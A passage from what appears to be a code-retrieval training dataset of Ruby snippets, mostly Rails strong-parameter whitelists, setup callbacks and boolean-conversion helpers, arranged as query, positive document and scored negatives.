"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def book_params
params.require(:book).permit(:Title, :Summary, :Rating, :Author, :Ranking, :Awards, :Recommended_by, :Amazon, :Audiobook, :Animated_Review,:image,:category_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Does its best to convert the input into a Boolean.
|
def convert_to_boolean(input)
case input
when false, 0, '0', 'false', 'no', nil then false
else
true
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_boolean\n # SECURE: BNS 2012-10-09: But may behave oddly for multi-line input\n return true if self == true || self =~ (/^(true|t|yes|y|1)$/i)\n return false if self == false || self.nil? || self =~ (/^(false|f|no|n|0)$/i)\n fail ArgumentError, \"invalid value for Boolean: \\\"#{self}\\\"\"\n end",
"def cast_to_boolean(input)\n ActiveRecord::Type::Boolean.new.type_cast_from_user(input)\n end",
"def to_boolean\r\n\t !!(self.to_s =~ /^(true|t|yes|y|1)$/i)\r\n\tend",
"def is_bool input\n !!input == input\nend",
"def to_bool\n return true if ['true', '1', 'yes', 'on', 't'].include? self\n return false if ['false', '0', 'no', 'off', 'f'].include? self\n return false\n end",
"def to_bool\n is_a?(::TrueClass) || self == :true || self == :yes || self == :on\n end",
"def to_booly\n unless self.to_booly?\n raise TypeError.new(\"#{self} cannot be converted to TrueClass or FalseClass\")\n end\n\n return true if self == \"true\" || (self.to_f? && self.to_f > 0)\n false\n end",
"def to_boolean(val)\n val && (val.to_s.match(/(true|t|yes|y|1)$/i) != nil)\n end",
"def to_bool\n return false if self.downcase == \"false\"\n return true\n end",
"def to_boolean(str)\n str == 'true'\nend",
"def convert_to_boolean(val)\n return val if val.is_a?(TrueClass) || val.is_a?(FalseClass)\n val = val.to_s.clean\n return nil if val.blank?\n if val.match?(/\\A(false|f|n|no)\\z/i)\n false\n elsif val.match?(/\\A(true|t|y|yes)\\z/i)\n true\n end\n end",
"def to_bool(value)\n value.to_s.downcase == 'true' ? true : false\n end",
"def to_bool() true end",
"def booleanish_to_boolean(arguments, ddl)\n arguments.keys.each do |key|\n if ddl[:input].keys.include?(key)\n if ddl[:input][key][:type] == :boolean\n arguments[key] = true if arguments[key] == \"true\"\n arguments[key] = true if arguments[key] == \"yes\"\n arguments[key] = true if arguments[key] == \"1\"\n arguments[key] = false if arguments[key] == \"false\"\n arguments[key] = false if arguments[key] == \"no\"\n arguments[key] = false if arguments[key] == \"0\"\n end\n end\n end\n rescue\n true\n end",
"def to_boolean(string)\n string == 'true'\nend",
"def boolean\n Util.from_bytes :boolean, value\n end",
"def boolean?\n !to_bool.nil?\n end",
"def to_bool\n str = if @target.respond_to?(:empty?)\n @target\n else\n @target.to_s\n end\n return @target != 0 if @target.is_a? Numeric\n return true if @target == true || str =~ /(true|t|yes|y)$/i\n bm = BlankMatcher.new(@target)\n return false if @target == false || bm.blank? || str =~ /(false|f|no|n)$/i\n raise(ArgumentError, \"invalid value for Boolean: \\\"#{@target}\\\"\")\n end",
"def to_bool; self; end",
"def to_bool; self; end",
"def coerce_bool(value)\n case value\n when nil, false then false\n when Numeric then !value.zero?\n else\n true\n end\n end",
"def convert(value)\n case value.to_s\n when /^(yes|y|t(rue)?|1)$/i\n return true\n when /^(no|n|f(alse)?|0)$/i\n return false\n else\n fail TypeError, \"Expected boolean type, got #{value}\"\n end\n end",
"def to_boolean(value)\n case value\n when :true, 'true'\n true\n else\n false\n end\n end",
"def to_boolean\n if ['true', 'True', 'TRUE', '1'].include?(self)\n return true\n else\n return false\n end\n end",
"def convert_to_boolean(value)\n if value == \"yes\"\n true\n else\n false\n end\nend",
"def to_bool\n true\n end",
"def to_bool\n if (self.to_bool == 1)\n puts \"TRUE\"\n elsif (self.to_bool == 0)\n puts \"FALSE\"\n elsif (self.to_bool == -1)\n puts \"NaN\"\n end\nend",
"def to_boolean(value)\n [\"true\", \"1\", \"yes\"].include?(value.to_s) ? true : false\n end",
"def to_boolean(value)\n [\"true\", \"1\", \"yes\"].include?(value.to_s) ? true : false\n end",
"def to_bool\n !!self\n end",
"def value_to_boolean(value)\n return value if value==true || value==false\n case value.to_s.downcase\n when \"true\", \"t\", \"1\" then true\n else false\n end\n end",
"def to_bool str\r\n ActiveRecord::Type::Boolean.new.type_cast_from_user(str)\r\n end",
"def to_bool(strict = true)\n return false if blank? || self =~ /(false|f|no|n|0)$/i\n\n if strict\n return true if self =~ /(true|t|yes|y|1)$/i\n raise ArgumentError, \"invalid value for Boolean: \\\"#{self}\\\"\"\n else\n return true\n end\n end",
"def to_bool(value)\n ActiveModel::Type::Boolean.new.cast(value.to_s.strip)\n end",
"def boolean?\n !@arg[:boolValue].nil?\n end",
"def to_bool\n true\n end",
"def to_bool(questionable_string)\n\tbool = true\n\tunless questionable_string == \"true\"\n\t\tbool = false\n\tend\n\tbool\nend",
"def boolean?\n proc do |o|\n o.is_a? String and o.is_b?\n end\n end",
"def to_bool() false end",
"def to_bool\n\t\tif [FalseClass, NilClass].include? self.class\n\t\t\tself\n\t\telse\n\t\t\ttrue\n\t\tend\n\tend",
"def to_bool(value, default = false)\n return default if value.nil?\n return value if value.is_a?(TrueClass) || value.is_a?(FalseClass)\n !!(value =~ /^(true|t|yes|y|1)$/i)\n end",
"def convert_to_boolean(variable)\n\tif variable == \"y\"\n\t\tvariable = TRUE\n\telsif variable == \"n\"\n\t\tvariable = FALSE\n\tend\nend",
"def boolify(val)\n\nend",
"def boolean(boolI)\n if boolI==1 then\n return true\n end\n return false\nend",
"def boolean(arg)\n case arg\n when 'true'\n 1\n when 'false'\n 0\n when nil\n 0\n end\n end",
"def typecast_value_boolean(value)\n case value\n when false, 0, \"0\", /\\Af(alse)?\\z/i, /\\Ano?\\z/i\n false\n else\n blank_object?(value) ? nil : true\n end\n end",
"def boolean?\n type == \"BOOLEAN\" || type == \"BOOL\"\n end",
"def to_bool(str)\n str = str.to_s.downcase\n return true if str == 'yes' or str == 'true' or str == 'on'\n return true if str.to_i > 0\n return false\n end",
"def coerce_boolean(value, options = {})\n return if options[:allow_nil] && (value.nil? || value == \"\")\n return false if value.to_s.strip == \"false\"\n !!value && !coerce_string(value, :allow_nil => false).strip.empty?\n end",
"def truth?\n truth\n end",
"def true?(obj)\n obj.to_s.downcase == \"true\"\n end",
"def true?\n self.eql?(true)\n end",
"def typecast_value_boolean(opts={});true;end",
"def to_boolean(default = nil)\n return true if ['true', '1', 'yes', 'on', 't'].include? self\n return false if ['false', '0', 'no', 'off', 'f'].include? self\n return default\n end",
"def _boolinze(val)\n return true if ['true', '1'].include?(val)\n return false if ['false', '0'].include?(val)\n val\n end",
"def convert_to_boolean(value)\n value != 'no'\n end",
"def boolean?\n @type == :boolean\n end",
"def true?\n !false?\n end",
"def supports_is_true?\n false\n end",
"def to_boolean(str)\n !(str == 'false' || str == '0')\nend",
"def bool()\n val = _int32(\"bool\")\n\n case val\n when 0\n false\n when 1\n true\n else\n raise ArgumentError, \"Invalid value for bool: #{val}\"\n end\n end",
"def read_bool; end",
"def parse_bool() true end",
"def true?(obj)\n if obj.nil?\n raise \"Object is nil. Not a valid boolean value\"\n end\n obj.to_s.downcase == \"true\"\nend",
"def boolean(value)\n value ? true : false\n end",
"def is_boolean()\n res = super(context,self)\n return res\n end",
"def boolean(**props)\n transform(type: :boolean, **props) do |value|\n !!value\n end\n end",
"def truthy(verdad)\n\tif verdad == 't'\n\t\tverdad = true\n\telsif verdad == \"true\"\n\t\tverdad = true\n\telse\n\t\tverdad = false\n\tend\nend",
"def convert_tinyint_to_bool=(v)\n @conversion_procs[1] = v ? TYPE_TRANSLATOR_BOOLEAN : TYPE_TRANSLATOR_INTEGER\n @convert_tinyint_to_bool = v\n end",
"def coerce_boolean(value, options = {})\n return nil if options[:allow_nil] && value.nil?\n !!value && !coerce_string(value).empty?\n end",
"def expect_boolean name, v\n v = true if v == \"true\"\n v = false if v == \"false\"\n expect_type name,\n v,\n \"boolean\",\n lambda{ [ true, false ].member?(v) }\n end",
"def to_bool\n dc = to_s.downcase\n\n if TRUE_WORDS.include?(dc)\n true\n elsif FALSE_WORDS.include?(dc)\n false\n end\n end",
"def value_to_boolean(value)\n if value.is_a?(String) && value.blank?\n nil\n else\n TRUE_VALUES.include?(value)\n end\n end",
"def value_to_boolean(value)\n if value.is_a?(String) && value.empty?\n nil\n else\n TRUE_VALUES.include?(value)\n end\n end",
"def bool_conv(value)\n value == HEX_FALSE ? false : true\n end",
"def is_bool(value) #method\n if value == 'verdadero' || value == 'falso'\n true\n else\n false\n end\n end",
"def to_b\n return true if self =~ BOOLEAN_REGEX\n false\n end",
"def makeBoolean (userInput)\n if userInput == \"y\"\n userInput = true\n else\n userInput = false\n end\nend",
"def to_b\n self != \"false\"\n end",
"def parse_boolean_value(value)\n value.to_s.downcase == 'true'\n end",
"def boolean_to_string(b)\n if b \n \"true\"\n else\n \"false\"\n end\nend",
"def object_to_boolean(value)\n return [true, 'true', 1, '1', 'T', 't'].include?(value.class == String ? value.downcase : value)\n end",
"def check(value)\n # We have to invert the values.\n if value == :true\n false\n else\n true\n end\n end",
"def bool(val)\n raise ArgumentError, \"bool() requires a boolean argument\" \\\n unless val == true || val == false\n\n self.int32(val ? 1 : 0)\n end",
"def parse_bool(bool_param)\n bool_param.try(:to_bool) || (bool_param.try(:to_i) == 1)\n end",
"def bool(val)\n case val.to_s.downcase\n when 'y', 'yes', 'on', 't', 'true'\n true\n when 'n', 'no', 'off', 'f', 'false'\n false\n else\n nil\n end\nend",
"def convert_string_to_bool(value)\n case value\n when \"true\"\n true\n when \"false\"\n false\n when Array\n value.map { |elem| convert_string_to_bool(elem) }\n when Hash\n value.each do |key, elem|\n value[key] = convert_string_to_bool(elem)\n end\n value\n else\n value\n end\n end",
"def boolean_type\n 'Boolean'\n end",
"def check(value)\n # We have to invert the values.\n if value == :true\n false\n else\n true\n end\n end",
"def validate_boolean_type(field)\n if field.is_a?(TrueClass) || field.is_a?(FalseClass)\n return true\n else\n return false\n end\n end",
"def boolean?\n is_a?(::TrueClass) || is_a?(::FalseClass)\n end",
"def parse_bool() false end",
"def parse_bool() false end",
"def get_boolean_value\n\t\tend",
"def boolean?(obj)\n obj.instance_of?(FalseClass) or obj.instance_of?(TrueClass)\n end",
"def boolean\n map ->(primitive) { primitive.to_bool }\n end",
"def to_boolean(string)\r\n if string.downcase == 'y'\r\n string = true\r\n elsif string.downcase == 'n'\r\n string = false\r\n end\r\nend",
"def convert_boolean(key)\n @params[key] = _boolinze(@params[key]) if _is_bool?(get_default(key))\n end",
"def convert_booleans(value)\n if [\"true\", \"false\"].include?(value)\n value = (value == \"true\")\n else\n value\n end\n end",
"def Bool(arg)\n !!arg\nend"
] |
[
"0.8342446",
"0.82365483",
"0.81131643",
"0.8107313",
"0.8014266",
"0.79928374",
"0.7984583",
"0.79372895",
"0.78685623",
"0.7838493",
"0.7763114",
"0.77619374",
"0.775726",
"0.7747159",
"0.77257603",
"0.7721171",
"0.7718274",
"0.7699234",
"0.7691891",
"0.7691891",
"0.7674086",
"0.7655589",
"0.76519346",
"0.7621114",
"0.75962675",
"0.7555703",
"0.75466996",
"0.75396824",
"0.7511881",
"0.7507034",
"0.7484006",
"0.74752784",
"0.7455295",
"0.7430569",
"0.7422899",
"0.7409186",
"0.73901325",
"0.73800963",
"0.7373493",
"0.7370008",
"0.7362945",
"0.73524827",
"0.7327432",
"0.7325506",
"0.7317977",
"0.7316368",
"0.730865",
"0.7290741",
"0.7290519",
"0.7288243",
"0.7286687",
"0.72793955",
"0.727907",
"0.7270773",
"0.72625184",
"0.7261127",
"0.72458893",
"0.72387815",
"0.7200463",
"0.71905947",
"0.7176502",
"0.7173972",
"0.7167569",
"0.7158636",
"0.7142403",
"0.7131486",
"0.71137613",
"0.71034116",
"0.7102535",
"0.709044",
"0.7089883",
"0.7076911",
"0.7071519",
"0.7063438",
"0.7061577",
"0.70603675",
"0.70474905",
"0.7046958",
"0.7045904",
"0.70093447",
"0.7005447",
"0.69991916",
"0.6998604",
"0.69924927",
"0.6990947",
"0.6978713",
"0.6975264",
"0.6973715",
"0.6961127",
"0.6957785",
"0.6955683",
"0.6949672",
"0.6949672",
"0.69406676",
"0.6938427",
"0.69218755",
"0.69102675",
"0.690285",
"0.68949276",
"0.6883565"
] |
0.8309957
|
1
|
sort by created_at, updated_at
|
def sort_accounts
if params[:sort_by].present?
criteria = params[:sort_by]
@accounts = if criteria == 'last_created_at'
@accounts.order('created_at desc')
elsif criteria == 'first_created_at'
@accounts.order('created_at asc')
else
@accounts.order('updated_at desc')
end
else # default sorting
@accounts = @accounts.order('updated_at desc')
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sort_by_time\n (updated_at || published_at)\n end",
"def sort_tweets\n tweets.sort { |a, b| b.created_at <=> a.created_at }\n end",
